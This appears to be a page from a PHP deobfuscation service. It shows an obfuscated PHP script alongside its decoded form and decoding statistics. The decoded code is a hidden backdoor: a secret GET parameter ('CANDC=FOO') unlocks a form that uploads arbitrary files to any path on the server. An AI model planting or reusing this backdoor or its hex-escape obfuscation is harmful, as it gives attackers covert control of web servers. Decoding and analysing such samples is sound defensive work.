Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"G\x4cO\x42\x41\x4c\x53"}["pmo\x63\x6ak\x69"]="\x75pl\x6f\x61d\x66\x69\x6c\x65";${..
Decoded Output download
<?php ${"GLOBALS"}["pmocjki"]="uploadfile";${"GLOBALS"}["kltxdj"]="docr";if($_GET["CANDC"]=="FOO"){${${"GLOBALS"}["kltxdj"]}=$_SERVER["DOCUMENT_ROOT"];echo"
<table>
<form enctype=\"multipart/form-data\" action=\"$self\" method="POST\">
<input type=\"hidden\" name=\"ac" value="upload">
<tr>
<td><font size=\"1">Y-F: </font> </td>
<td>
<input size="48\" name="file\" type="file" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
</tr>
<tr>
<td><font size="1\">Dir: </font> </td>
<td>
<input size=\"48" value=\"$docr/" name="path\" type="text\" style=\"color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000\">
<input type="submit\" value=\"U" style="color: #008000; font-family: Arial; font-size: 8pt; font-weight: bold; border: 2px solid #008000; background-color: #000000"></td>
$tend
</table>
";if(isset($_POST["path"])){$kkgvhqhynjy="uploadfile";${$kkgvhqhynjy}=$_POST["path"].$_FILES["file"]["name"];if($_POST["path"]==""){${"GLOBALS"}["glkvifuufr"]="uploadfile";${${"GLOBALS"}["glkvifuufr"]}=$_FILES["file"]["name"];}if(copy($_FILES["file"]["tmp_name"],${${"GLOBALS"}["pmocjki"]})){echo"to : $uploadfile
";echo"- Size : ".$_FILES["file"]["size"]."
";}else{print"Error :
";}}}
?>
Did this file decode correctly?
Original Code
<?php ${"G\x4cO\x42\x41\x4c\x53"}["pmo\x63\x6ak\x69"]="\x75pl\x6f\x61d\x66\x69\x6c\x65";${"GL\x4fBA\x4c\x53"}["kl\x74x\x64\x6a"]="\x64o\x63\x72";if($_GET["CANDC"]=="F\x4f\x4f"){${${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x6c\x74\x78\x64j"]}=$_SERVER["\x44\x4f\x43UM\x45\x4e\x54_R\x4f\x4f\x54"];echo"\n<\x74\x61\x62\x6c\x65\x3e\n\n\x3cf\x6frm \x65\x6e\x63\x74y\x70e\x3d\"\x6du\x6ctipar\x74/\x66o\x72\x6d-d\x61\x74a\" ac\x74\x69\x6f\x6e\x3d\"$self\" m\x65\x74\x68o\x64\x3d\x22P\x4f\x53T\">\n\n<\x69nput \x74\x79\x70\x65=\"hi\x64\x64\x65\x6e\" \x6e\x61\x6d\x65=\"ac\x22 val\x75e=\x22\x75p\x6coa\x64\x22\x3e\n\n\x3ctr\x3e\n\n\x3c\x74\x64><\x66\x6f\x6e\x74\x20\x73ize=\"\x31\x22\x3eY-F: \x3c/\x66\x6f\x6e\x74>\x20</td>\n\n\x3ct\x64\x3e\n\n\x3c\x69n\x70u\x74\x20\x73\x69\x7ae\x3d\x22\x348\" \x6eame=\x22\x66i\x6c\x65\"\x20\x74yp\x65=\x22f\x69le\x22\x20st\x79le=\x22\x63ol\x6fr: \x2300\x3800\x30; \x66o\x6et-f\x61\x6dil\x79:\x20\x41ria\x6c;\x20f\x6fnt-size:\x208\x70t\x3b \x66o\x6et-we\x69\x67\x68t: \x62o\x6c\x64;\x20b\x6f\x72d\x65\x72: 2\x70\x78 \x73\x6fl\x69d\x20#0\x3080\x30\x30;\x20ba\x63\x6b\x67ro\x75n\x64-c\x6flor: #\x30\x300\x3000\x22\x3e\x3c/\x74d\x3e\n\n</t\x72>\n\n<\x74r>\n\n\x3c\x74d><fo\x6et \x73i\x7a\x65=\x22\x31\">\x44i\x72: \x3c/f\x6fnt\x3e </t\x64\x3e\n\n\x3ctd\x3e\n\n\x3ci\x6ep\x75\x74 \x73\x69ze\x3d\"\x348\x22 va\x6c\x75e\x3d\"$docr/\x22 \x6eame=\x22\x70\x61\x74\x68\" t\x79pe=\x22\x74\x65\x78\x74\"\x20s\x74\x79\x6ce\x3d\"\x63o\x6co\x72: \x23\x30080\x300\x3b \x66\x6fnt-\x66a\x6dil\x79: A\x72ia\x6c\x3b \x66o\x6et-si\x7ae: 8\x70t\x3b\x20fo\x6e\x74-\x77\x65ig\x68t:\x20b\x6fl\x64;\x20\x62o\x72\x64\x65r: \x32\x70x\x20\x73\x6f\x6c\x69\x64\x20\x23\x30\x30\x38\x3000; \x62\x61\x63k\x67\x72\x6f\x75\x6ed-\x63o\x6cor:\x20\x230\x30\x30\x30\x300\">\n\n\x3ci\x6e\x70ut\x20ty\x70\x65\x3d\x22s\x75bmit\" \x76\x61lue\x3d\"\x55\x22 st\x79l\x65\x3d\x22\x63\x6f\x6cor: \x23\x30\x3080\x300; \x66o\x6e\x74-f\x61mi\x6c\x79:\x20\x41r\x69\x61l\x3b f\x6fn\x74-\x73\x69ze: 8pt;\x20f\x6f\x6e\x74-w\x65\x69g\x68t: b\x6f\x6cd;\x20\x62\x6frd\x65\x72: \x32\x70x\x20\x73o\x6c\x69d \x23\x30\x30\x38\x30\x30\x30\x3b \x62\x61\x63\x6bg\x72ound-co\x6c\x6f\x72: \x230000\x300\x22></\x74\x64\x3e\n\n$tend\n\n\x3c/t\x61\x62\x6c\x65>\n";if(isset($_POST["\x70a\x74\x68"])){$kkgvhqhynjy="\x75p\x6c\x6f\x61\x64\x66\x69\x6c\x65";${$kkgvhqhynjy}=$_POST["p\x61\x74\x68"].$_FILES["fi\x6c\x65"]["na\x6de"];if($_POST["\x70at\x68"]==""){${"G\x4c\x4f\x42AL\x53"}["\x67\x6c\x6b\x76i\x66\x75u\x66\x72"]="u\x70\x6c\x6f\x61df\x69\x6ce";${${"G\x4cOBALS"}["\x67\x6c\x6bv\x69\x66u\x75fr"]}=$_FILES["\x66i\x6c\x65"]["\x6eam\x65"];}if(copy($_FILES["fi\x6ce"]["tm\x70\x5fn\x61m\x65"],${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["p\x6do\x63\x6ak\x69"]})){echo"t\x6f\x20: $uploadfile\n";echo"-\x20Si\x7a\x65 :\x20".$_FILES["\x66il\x65"]["\x73\x69z\x65"]."\n";}else{print"\x45r\x72\x6f\x72\x20\x20:\n";}}}
?>
Function Calls
| None |
Stats
| MD5 | b3eb27f0bdbd6145c7715c7f1ec5f799 |
| Eval Count | 0 |
| Decode Time | 136 ms |